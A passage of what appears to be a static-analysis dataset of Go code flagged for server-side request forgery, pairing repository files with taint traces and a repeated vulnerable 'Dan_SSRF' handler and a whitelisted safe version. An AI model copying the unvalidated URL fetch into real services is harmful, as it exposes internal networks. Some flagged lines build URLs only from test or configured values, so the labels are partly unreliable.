nil\n\t\t} else {\n\t\t\treturn \"\", errors.New(r.Message)\n\t\t}\n\t}\n\treturn \"\", errors.New(string(resp.StatusCode))\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 28, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Post"}}]}} {"id": "d2c48123fbb003ca73e3c3da1a549ef14f8147ca1f990b834c189079db3c510e", "license": {"spdx": ["BSD-3-Clause"], "repo": "marcelometal/tsuru", "path": "api/log_test.go", "repo_head_hexsha": "0cc024294c5195cc1496ec43ff0496e4635af7e7", "stack_hexsha": "26826535f0519b4183ef03c9d177a611e8ecc0cc", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 86, "entireCode": "// Copyright 2014 tsuru authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage api\n\nimport (\n\t\"fmt\"\n\t\"github.com/tsuru/config\"\n\t\"github.com/tsuru/tsuru/app\"\n\t\"github.com/tsuru/tsuru/auth\"\n\t\"github.com/tsuru/tsuru/db\"\n\t\"labix.org/v2/mgo/bson\"\n\t\"launchpad.net/gocheck\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n)\n\ntype LogSuite struct {\n\tconn *db.Storage\n\ttoken auth.Token\n\tteam *auth.Team\n}\n\nvar _ = gocheck.Suite(&LogSuite{})\n\nfunc (s *LogSuite) createUserAndTeam(c *gocheck.C) {\n\tuser := &auth.User{Email: \"\", Password: \"\"}\n\t_, err := nativeScheme.Create(user)\n\tc.Assert(err, gocheck.IsNil)\n\ts.team = &auth.Team{Name: \"tsuruteam\", Users: []string{user.Email}}\n\terr = s.conn.Teams().Insert(s.team)\n\tc.Assert(err, gocheck.IsNil)\n\ts.token, err = nativeScheme.Login(map[string]string{\"email\": user.Email, \"password\": \"\"})\n\tc.Assert(err, gocheck.IsNil)\n}\n\nfunc (s *LogSuite) SetUpSuite(c *gocheck.C) {\n\tconfig.Set(\"database:url\", \"127.0.0.1:27017\")\n\tconfig.Set(\"database:name\", \"tsuru_log_api_tests\")\n\tconfig.Set(\"auth:hash-cost\", 4)\n\tvar err error\n\ts.conn, err = db.Conn()\n\tc.Assert(err, gocheck.IsNil)\n\ts.createUserAndTeam(c)\n}\n\nfunc (s *LogSuite) TearDownSuite(c *gocheck.C) {\n\ts.conn.Apps().Database.DropDatabase()\n}\n\nfunc (s *LogSuite) TestLogRemoveAll(c *gocheck.C) {\n\ta := app.App{Name: \"words\"}\n\trequest, err := http.NewRequest(\"DELETE\", \"/logs\", nil)\n\tc.Assert(err, gocheck.IsNil)\n\trecorder := httptest.NewRecorder()\n\terr = s.conn.Apps().Insert(a)\n\tc.Assert(err, gocheck.IsNil)\n\tdefer s.conn.Apps().Remove(bson.M{\"name\": a.Name})\n\terr = a.Log(\"last log msg\", \"tsuru\", \"\")\n\tc.Assert(err, gocheck.IsNil)\n\terr = logRemove(recorder, request, s.token)\n\tc.Assert(err, gocheck.IsNil)\n\tcount, err := s.conn.Logs(a.Name).Find(nil).Count()\n\tc.Assert(err, gocheck.IsNil)\n\tc.Assert(count, gocheck.Equals, 0)\n}\n\nfunc (s *LogSuite) TestLogRemoveByApp(c *gocheck.C) {\n\ta := app.App{\n\t\tName: \"words\",\n\t\tTeams: []string{s.team.Name},\n\t}\n\terr := s.conn.Apps().Insert(a)\n\tc.Assert(err, gocheck.IsNil)\n\tdefer s.conn.Apps().Remove(bson.M{\"name\": a.Name})\n\terr = a.Log(\"last log msg\", \"tsuru\", \"\")\n\tc.Assert(err, gocheck.IsNil)\n\ta2 := app.App{Name: \"words2\"}\n\terr = s.conn.Apps().Insert(a2)\n\tc.Assert(err, gocheck.IsNil)\n\tdefer s.conn.Apps().Remove(bson.M{\"name\": a2.Name})\n\terr = a2.Log(\"last log msg2\", \"tsuru\", \"\")\n\tc.Assert(err, gocheck.IsNil)\n\turl := fmt.Sprintf(\"/logs?app=%s\", a.Name)\n\trequest, err := http.NewRequest(\"DELETE\", url, nil)\n\tc.Assert(err, gocheck.IsNil)\n\trecorder := httptest.NewRecorder()\n\terr = logRemove(recorder, request, s.token)\n\tc.Assert(err, gocheck.IsNil)\n\tcount, err := s.conn.Logs(a2.Name).Find(nil).Count()\n\tc.Assert(err, gocheck.IsNil)\n\tc.Assert(count, gocheck.Equals, 1)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 85, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 86, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "20949e0bc049b6c5b7edace945b235d38b29f50d72dc16efa2233c9466f8bd70", "license": {"spdx": ["Apache-2.0"], "repo": "qingstor/openvpn-warder", "path": "client/user.go", "repo_head_hexsha": "c27ebb685920f21e04040087a18320fab24e5dbf", "stack_hexsha": "3e7fcd121117b5e1e492e1a2ac6cd0fd7b0f5a12", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 33, "entireCode": "package client\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/qingstor/openvpn-warder/check\"\n\t\"github.com/qingstor/openvpn-warder/config\"\n\t\"github.com/qingstor/openvpn-warder/constants\"\n\t\"github.com/qingstor/openvpn-warder/handlers\"\n)\n\n// GetUser will send get user request to openvpn-warder server.\nfunc GetUser(client *config.Client, userName string) {\n url := fmt.Sprintf(\"http://%s:%d/users/get?name=%s\", *client.Host, *client.Port, userName)\n contentType := \"application/json\"\n\n password := generatePassword(*client.AuthUser, *client.AuthPassword)\n au := handlers.GetUserBody{\n AuthUser: &handlers.AuthUser{\n Name: client.AuthUser,\n Password: &password,\n },\n }\n auJSON, err := json.Marshal(au)\n if err != nil {\n check.ErrorForExit(constants.Name, err)\n }\n requestReader := strings.NewReader(string(auJSON[:]))\n resp, err := http.Post(url, contentType, requestReader)\n if err != nil {\n check.ErrorForExit(constants.Name, err)\n }\n\n defer resp.Body.Close()\n body, err := ioutil.ReadAll(resp.Body)\n if err != nil {\n check.ErrorForExit(constants.Name, err)\n }\n\n fmt.Println(string(body[:]))\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 33, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Post"}}]}} {"id": "211219e2bbb2afa641c28169cc9b42d5888923b536bf2ded4fd67d719f2ff47c", "license": {"spdx": ["Apache-2.0"], "repo": "intel/rmd-operator", "path": "pkg/rmd/rmd.go", "repo_head_hexsha": "0680b2a68b7fde58b38d4a2eca139f40bd0531bb", "stack_hexsha": "cf427f0c64f1081deffef6969d80d22a2c909f79", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 463, "entireCode": "package rmd\n\nimport (\n\t\"bytes\"\n\t\"crypto/ecdsa\"\n\t\"crypto/rsa\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"encoding/json\"\n\t\"fmt\"\n\tintelv1alpha1 \"github.com/intel/rmd-operator/pkg/apis/intel/v1alpha1\"\n\trmdCache \"github.com/intel/rmd/modules/cache\"\n\trmdtypes \"github.com/intel/rmd/modules/workload/types\"\n\t\"io/ioutil\"\n\t\"k8s.io/apimachinery/pkg/api/errors\"\n\tpluginapi \"k8s.io/kubernetes/pkg/kubelet/apis/deviceplugin/v1beta1\"\n\t\"k8s.io/kubernetes/pkg/kubelet/cm/cpuset\"\n\t\"net/http\"\n\t\"reflect\"\n\tlogf \"sigs.k8s.io/controller-runtime/pkg/log\"\n\t\"strconv\"\n\t\"strings\"\n)\n\nvar log = logf.Log.WithName(\"rmd\")\n\nconst (\n\tpostResponse = 201\n\tpatchedResponse = 200\n\tpost = \"POST\"\n\tpatch = \"PATCH\"\n\tdeleteConst = \"DELETE\"\n\thttpPrefix = \"http://\"\n\thttpsPrefix = \"https://\"\n\ttlsServerName = \"rmd-nameserver\"\n\tlocalHostAdd = \"127.0.0.1\"\n\tguaranteedPool = \"guaranteed\"\n)\n\nvar certPath = \"/etc/certs/public/cert.pem\"\nvar keyPath = \"/etc/certs/private/key.pem\"\nvar caPath = \"/etc/certs/public/ca.pem\"\n\n// OperatorRmdClient is used by the operator to become a client to RMD\ntype OperatorRmdClient struct {\n\tclient *http.Client\n}\n\n// NewOperatorRmdClient returns a TLS client to RMD\nfunc NewOperatorRmdClient() (*OperatorRmdClient, error) {\n\tcert, err := tls.LoadX509KeyPair(certPath, keyPath)\n\tif err != nil {\n\t\treturn &OperatorRmdClient{}, err\n\t}\n\terr = verifyKeyLength(cert)\n\tif err != nil {\n\t\treturn &OperatorRmdClient{}, err\n\t}\n\tcaCert, err := ioutil.ReadFile(caPath)\n\tif err != nil {\n\t\treturn &OperatorRmdClient{}, err\n\t}\n\n\tcaCertPool := x509.NewCertPool()\n\tcaCertPool.AppendCertsFromPEM(caCert)\n\ttlsConfig := &tls.Config{\n\t\tMinVersion: tls.VersionTLS12,\n\t\tRootCAs: caCertPool,\n\t\tCertificates: []tls.Certificate{cert},\n\t\tServerName: tlsServerName,\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\t},\n\t}\n\n\tclient := &http.Client{\n\t\tTransport: &http.Transport{\n\t\t\tTLSClientConfig: tlsConfig,\n\t\t},\n\t}\n\trmdClient := &OperatorRmdClient{\n\t\tclient: client,\n\t}\n\treturn rmdClient, nil\n}\n\nfunc verifyKeyLength(cert tls.Certificate) error {\n\tvar keyLength int\n\tswitch privKey := cert.PrivateKey.(type) {\n\tcase *rsa.PrivateKey:\n\t\tkeyLength = privKey.N.BitLen()\n\tcase *ecdsa.PrivateKey:\n\t\tkeyLength = privKey.Curve.Params().BitSize\n\tdefault:\n\t\treturn errors.NewBadRequest(\"unsupported private key\")\n\t}\n\tif keyLength < 2048 {\n\t\treturn errors.NewBadRequest(\"key length less than 2048\")\n\t}\n\treturn nil\n}\n\n// NewDefaultOperatorRmdClient returns a default client for testing and debugging\nfunc NewDefaultOperatorRmdClient() *OperatorRmdClient {\n\tdefaultClient := &http.Client{}\n\trmdClient := &OperatorRmdClient{\n\t\tclient: defaultClient,\n\t}\n\treturn rmdClient\n}\n\n// UpdateNodeStatusWorkload populates WorkloadMap with workload data for RmdNodeState\nfunc UpdateNodeStatusWorkload(workload *rmdtypes.RDTWorkLoad) (intelv1alpha1.WorkloadMap, error) {\n\tworkloadMap := make(intelv1alpha1.WorkloadMap)\n\n\tif workload.ID != \"\" {\n\t\tworkloadMap[\"ID\"] = workload.ID\n\t}\n\tif len(workload.CoreIDs) != 0 {\n\t\tworkloadMap[\"Core IDs\"] = strings.Join(workload.CoreIDs, \",\")\n\t}\n\tif workload.Status != \"\" {\n\t\tworkloadMap[\"Status\"] = workload.Status\n\t}\n\tif workload.CosName != \"\" {\n\t\tworkloadMap[\"Cos Name\"] = workload.CosName\n\t}\n\tif workload.Rdt.Cache.Max != nil {\n\t\tworkloadMap[\"Cache Max\"] = strconv.Itoa(int(*workload.Rdt.Cache.Max))\n\t}\n\tif workload.Rdt.Cache.Min != nil {\n\t\tworkloadMap[\"Cache Min\"] = strconv.Itoa(int(*workload.Rdt.Cache.Min))\n\t}\n\tif workload.Rdt.Mba.Percentage != nil {\n\t\tworkloadMap[\"MBA Percentage\"] = strconv.Itoa(int(*workload.Rdt.Mba.Percentage))\n\t}\n\tif workload.Rdt.Mba.Mbps != nil {\n\t\tworkloadMap[\"MBA Mbps\"] = strconv.Itoa(int(*workload.Rdt.Mba.Mbps))\n\t}\n\tif workload.Origin != \"\" {\n\t\tworkloadMap[\"Origin\"] = workload.Origin\n\t}\n\tif workload.Policy != \"\" {\n\t\tworkloadMap[\"Policy\"] = workload.Policy\n\t}\n\tif len(workload.Plugins) != 0 {\n\t\tpluginsData, err := json.Marshal(workload.Plugins)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tpluginsMap := make(map[string]map[string]interface{})\n\t\terr = json.Unmarshal(pluginsData, &pluginsMap)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t// Look for pstate data and add to workloadMap\n\t\tif pstateMap, ok := pluginsMap[\"pstate\"]; ok {\n\t\t\tif ratio, ok := pstateMap[\"ratio\"]; ok {\n\t\t\t\tif ratio != nil {\n\t\t\t\t\tworkloadMap[\"P-State Ratio\"] = fmt.Sprintf(\"%f\", ratio)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif monitoring, ok := pstateMap[\"monitoring\"]; ok {\n\t\t\t\tif monitoring != nil {\n\t\t\t\t\tworkloadMap[\"P-State Monitoring\"] = fmt.Sprintf(\"%v\", monitoring)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn workloadMap, nil\n}\n\n// GetGuaranteedCacheWayPools returns available l3 cache ways for Node Status update\nfunc (rc *OperatorRmdClient) GetGuaranteedCacheWayPools() (map[string]*pluginapi.Device, error) {\n\tdevices := make(map[string]*pluginapi.Device)\n\taddressPrefix := rc.GetAddressPrefix()\n\tvar address string\n\tif addressPrefix == httpPrefix {\n\t\taddress = fmt.Sprintf(\"%s%s%s%d\", addressPrefix, localHostAdd, \":\", 8081)\n\t} else if addressPrefix == httpsPrefix {\n\t\taddress = fmt.Sprintf(\"%s%s%s%d\", addressPrefix, localHostAdd, \":\", 8443)\n\t}\n\n\thttpString := fmt.Sprintf(\"%s%s\", address, \"/v1/cache/l3\")\n\tresp, err := rc.client.Get(httpString)\n\tif err != nil {\n\t\treturn devices, err\n\t}\n\n\treceivedJSON, err := ioutil.ReadAll(resp.Body) //This reads raw request body\n\tif err != nil {\n\t\treturn devices, err\n\t}\n\tallCacheInfo := rmdCache.Infos{}\n\terr = json.Unmarshal([]byte(receivedJSON), &allCacheInfo)\n\tif err != nil {\n\t\treturn devices, err\n\t}\n\n\tfor _, cache := range allCacheInfo.Caches {\n\t\tvar cacheWaysSlice []int\n\t\tfor pool, cacheWays := range cache.AvailableWaysPool {\n\t\t\tif pool == guaranteedPool {\n\t\t\t\tcacheWaysSlice = cpuset.MustParse(cacheWays).ToSlice()\n\t\t\t}\n\t\t}\n\t\tfor _, cacheWay := range cacheWaysSlice {\n\t\t\tnumaNode, err := strconv.Atoi(cache.Node)\n\t\t\tif err != nil {\n\t\t\t\treturn devices, err\n\t\t\t}\n\t\t\tdev := pluginapi.Device{ID: fmt.Sprintf(\"%s%d\", cache.Node, cacheWay), Health: pluginapi.Healthy, Topology: &pluginapi.TopologyInfo{Nodes: []*pluginapi.NUMANode{{ID: int64(numaNode)}}}}\n\t\t\tdevices[fmt.Sprintf(\"%s%d\", cache.Node, cacheWay)] = &dev\n\t\t}\n\t}\n\treturn devices, nil\n\n}\n\n// GetAvailableCacheWays returns available l3 cache ways for Node Status update\nfunc (rc *OperatorRmdClient) GetAvailableCacheWays(address string) (int64, error) {\n\tlogger := log.WithName(\"GetAvailableCacheWays\")\n\n\thttpString := fmt.Sprintf(\"%s%s\", address, \"/v1/cache/l3\")\n\tresp, err := rc.client.Get(httpString)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdefer resp.Body.Close()\n\n\treceivedJSON, err := ioutil.ReadAll(resp.Body) //This reads raw request body\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tallCacheInfo := rmdCache.Infos{}\n\terr = json.Unmarshal([]byte(receivedJSON), &allCacheInfo)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tvar availableWays int64\n\tfor _, cache := range allCacheInfo.Caches {\n\t\tavailableWaysTemp, err := strconv.ParseInt(cache.AvailableWays, 16, 64)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tavailableWays = availableWays + availableWaysTemp\n\t}\n\tlogger.Info(\"Total available cache ways discovered\", \"available_ways\", availableWays)\n\treturn availableWays, nil\n}\n\n// GetAllCPUS returns available l3 cache ways for Node Status update\nfunc (rc *OperatorRmdClient) getAllCPUs(address string) (string, error) {\n\tlogger := log.WithName(\"getAllCPUs\")\n\n\thttpString := fmt.Sprintf(\"%s%s\", address, \"/v1/cache/l3\")\n\tresp, err := rc.client.Get(httpString)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\treceivedJSON, err := ioutil.ReadAll(resp.Body) //This reads raw request body\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tallCacheInfo := rmdCache.Infos{}\n\terr = json.Unmarshal([]byte(receivedJSON), &allCacheInfo)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\thostCPUSet := cpuset.NewCPUSet()\n\tfor _, cache := range allCacheInfo.Caches {\n\t\tcacheCPUSet, err := cpuset.Parse(cache.ShareCPUList)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\thostCPUSet = hostCPUSet.Union(cacheCPUSet)\n\t}\n\tlogger.Info(\"All CPUs discovered on host\", \"hostCPUSet\", hostCPUSet.String())\n\treturn hostCPUSet.String(), nil\n}\n\n// GetWorkloads returns all active workloads on RMD instance\nfunc (rc *OperatorRmdClient) GetWorkloads(address string) ([]*rmdtypes.RDTWorkLoad, error) {\n\thttpString := fmt.Sprintf(\"%s%s\", address, \"/v1/workloads\")\n\tresp, err := rc.client.Get(httpString)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treceivedJSON, err := ioutil.ReadAll(resp.Body) //This reads raw request body\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tallWorkloads := make([]*rmdtypes.RDTWorkLoad, 0)\n\terr = json.Unmarshal([]byte(receivedJSON), &allWorkloads)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp.Body.Close()\n\treturn allWorkloads, nil\n}\n\n// Format Workload to rmdtypes.RDTWorkLoad{} as the workloadCR contains unnecessary fields which can\n// be problematic if marshalled directly and delivered to RMD.\nfunc (rc *OperatorRmdClient) formatWorkload(workloadCR *intelv1alpha1.RmdWorkload, address string) (*rmdtypes.RDTWorkLoad, error) {\n\trdtWorkload := &rmdtypes.RDTWorkLoad{}\n\trdtWorkload.UUID = workloadCR.GetObjectMeta().GetName()\n\trdtWorkload.Policy = workloadCR.Spec.Policy\n\n\t// If AllCores has been declared in the workload spec, discover all cores on the host\n\t// and add to request.\n\tif workloadCR.Spec.AllCores {\n\t\tallCores, err := rc.getAllCPUs(address)\n\t\tif err != nil {\n\t\t\treturn &rmdtypes.RDTWorkLoad{}, err\n\t\t}\n\n\t\tif len(workloadCR.Spec.ReservedCoreIds) != 0 {\n\t\t\trsvdCPUSet := cpuset.MustParse(strings.Join(workloadCR.Spec.ReservedCoreIds, \",\"))\n\t\t\tallCoresCPUSet := cpuset.MustParse(allCores)\n\t\t\tfinalCPUSet := allCoresCPUSet.Difference(rsvdCPUSet)\n\t\t\tallCores = finalCPUSet.String()\n\t\t}\n\t\tcoreIDs := []string{allCores}\n\t\trdtWorkload.CoreIDs = coreIDs\n\t} else {\n\t\trdtWorkload.CoreIDs = workloadCR.Spec.CoreIds\n\t}\n\n\t// Add Cache data if it has been specified in the workload.\n\tmaxCache := uint32(workloadCR.Spec.Rdt.Cache.Max)\n\trdtWorkload.Rdt.Cache.Max = &maxCache\n\tminCache := uint32(workloadCR.Spec.Rdt.Cache.Min)\n\trdtWorkload.Rdt.Cache.Min = &minCache\n\n\t// Add MBA data if it has been specified in the workload.\n\tmbaPercentage := uint32(workloadCR.Spec.Rdt.Mba.Percentage)\n\tif mbaPercentage != 0 {\n\t\trdtWorkload.Rdt.Mba.Percentage = &mbaPercentage\n\t}\n\tmbaMbps := uint32(workloadCR.Spec.Rdt.Mba.Mbps)\n\tif mbaMbps != 0 {\n\t\trdtWorkload.Rdt.Mba.Mbps = &mbaMbps\n\t}\n\n\t// Add Plugins (PState) data to be marshalled if it has been specified in the workload.\n\tplugins := make(map[string]map[string]interface{})\n\tpstate := make(map[string]interface{})\n\tif len(workloadCR.Spec.Plugins.Pstate.Ratio) != 0 {\n\t\tratio, err := strconv.ParseFloat(workloadCR.Spec.Plugins.Pstate.Ratio, 64)\n\t\tif err != nil {\n\t\t\treturn &rmdtypes.RDTWorkLoad{}, err\n\t\t}\n\t\tif ratio != 0 {\n\t\t\tpstate[\"ratio\"] = ratio\n\t\t\tplugins[\"pstate\"] = pstate\n\t\t}\n\t}\n\tif len(workloadCR.Spec.Plugins.Pstate.Monitoring) != 0 {\n\t\tmonitoring := workloadCR.Spec.Plugins.Pstate.Monitoring\n\t\tif len(monitoring) != 0 {\n\t\t\tpstate[\"monitoring\"] = monitoring\n\t\t\tplugins[\"pstate\"] = pstate\n\t\t}\n\t}\n\tif len(plugins) != 0 {\n\t\trdtWorkload.Plugins = plugins\n\t}\n\treturn rdtWorkload, nil\n}\n\n// PostWorkload posts workload data from RmdWorkload to RMD\nfunc (rc *OperatorRmdClient) PostWorkload(workloadCR *intelv1alpha1.RmdWorkload, address string) (string, error) {\n\tpostFailedErr := errors.NewServiceUnavailable(\"Response status code error\")\n\n\tdata, err := rc.formatWorkload(workloadCR, address)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tpayloadBytes, err := json.Marshal(data)\n\tif err != nil {\n\t\treturn \"Failed to marshal payload data\", err\n\t}\n\tbody := bytes.NewReader(payloadBytes)\n\n\thttpString := fmt.Sprintf(\"%s%s\", address, \"/v1/workloads\")\n\treq, err := http.NewRequest(post, httpString, body)\n\tif err != nil {\n\t\treturn \"Failed to create new http post request\", err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := rc.client.Do(req)\n\tif err != nil {\n\t\treturn \"Failed to set header for http post request\", err\n\t}\n\n\tbuf := new(bytes.Buffer)\n\t_, err = buf.ReadFrom(resp.Body)\n\tif err != nil {\n\t\treturn \"Failed to read response to buffer\", err\n\t}\n\trespStr := buf.String()\n\n\tif resp.StatusCode != postResponse && resp.StatusCode != patchedResponse {\n\t\terrStr := fmt.Sprintf(\"%s%v\", \"Fail: \", respStr)\n\t\treturn errStr, postFailedErr\n\t}\n\tdefer resp.Body.Close()\n\n\tsuccessStr := fmt.Sprintf(\"%s%v\", \"Success: \", resp.StatusCode)\n\n\treturn successStr, nil\n}\n\n// PatchWorkload patches workload running on RMD with workload data from RmdWorkload\nfunc (rc *OperatorRmdClient) PatchWorkload(workloadCR *intelv1alpha1.RmdWorkload, address string, workloadID string) (string, error) {\n\tpatchFailedErr := errors.NewServiceUnavailable(\"Response status code error\")\n\tdata, err := rc.formatWorkload(workloadCR, address)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tpayloadBytes, err := json.Marshal(data)\n\tif err != nil {\n\t\treturn \"Failed to marshal payload data\", err\n\t}\n\tbody := bytes.NewReader(payloadBytes)\n\n\thttpString := fmt.Sprintf(\"%s%s%s\", address, \"/v1/workloads/\", workloadID)\n\treq, err := http.NewRequest(patch, httpString, body)\n\tif err != nil {\n\t\treturn \"Failed to create new http patch request\", err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := rc.client.Do(req)\n\tif err != nil {\n\t\treturn \"Failed to set header for http patch request\", err\n\t}\n\tbuf := new(bytes.Buffer)\n\t_, err = buf.ReadFrom(resp.Body)\n\tif err != nil {\n\t\treturn \"Failed to read response to buffer\", err\n\t}\n\trespStr := buf.String()\n\tif resp.StatusCode != patchedResponse {\n\t\terrStr := fmt.Sprintf(\"%s%v\", \"Fail: \", respStr)\n\t\treturn errStr, patchFailedErr\n\t}\n\tdefer resp.Body.Close()\n\n\tsuccessStr := fmt.Sprintf(\"%s%v\", \"Success: \", resp.StatusCode)\n\treturn successStr, nil\n}\n\n// DeleteWorkload deletes workload from RMD by workload ID\nfunc (rc *OperatorRmdClient) DeleteWorkload(address string, workloadID string) error {\n\tdeleteFailedErr := errors.NewServiceUnavailable(\"Response status code error\")\n\thttpString := fmt.Sprintf(\"%s%s%s\", address, \"/v1/workloads/\", workloadID)\n\treq, err := http.NewRequest(deleteConst, httpString, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tresp, err := rc.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbuf := new(bytes.Buffer)\n\t_, err = buf.ReadFrom(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode != patchedResponse {\n\t\treturn deleteFailedErr\n\t}\n\n\tdefer resp.Body.Close()\n\treturn nil\n}\n\n// FindWorkloadByName discovers a particular workload running on RMD by name/UUID\nfunc FindWorkloadByName(workloads []*rmdtypes.RDTWorkLoad, workloadName string) *rmdtypes.RDTWorkLoad {\n\tfor _, workload := range workloads {\n\t\tif workload.UUID == workloadName {\n\t\t\treturn workload\n\t\t}\n\t}\n\treturn &rmdtypes.RDTWorkLoad{}\n}\n\n// GetAddressPrefix returns correct address prefix based on rmdClient\nfunc 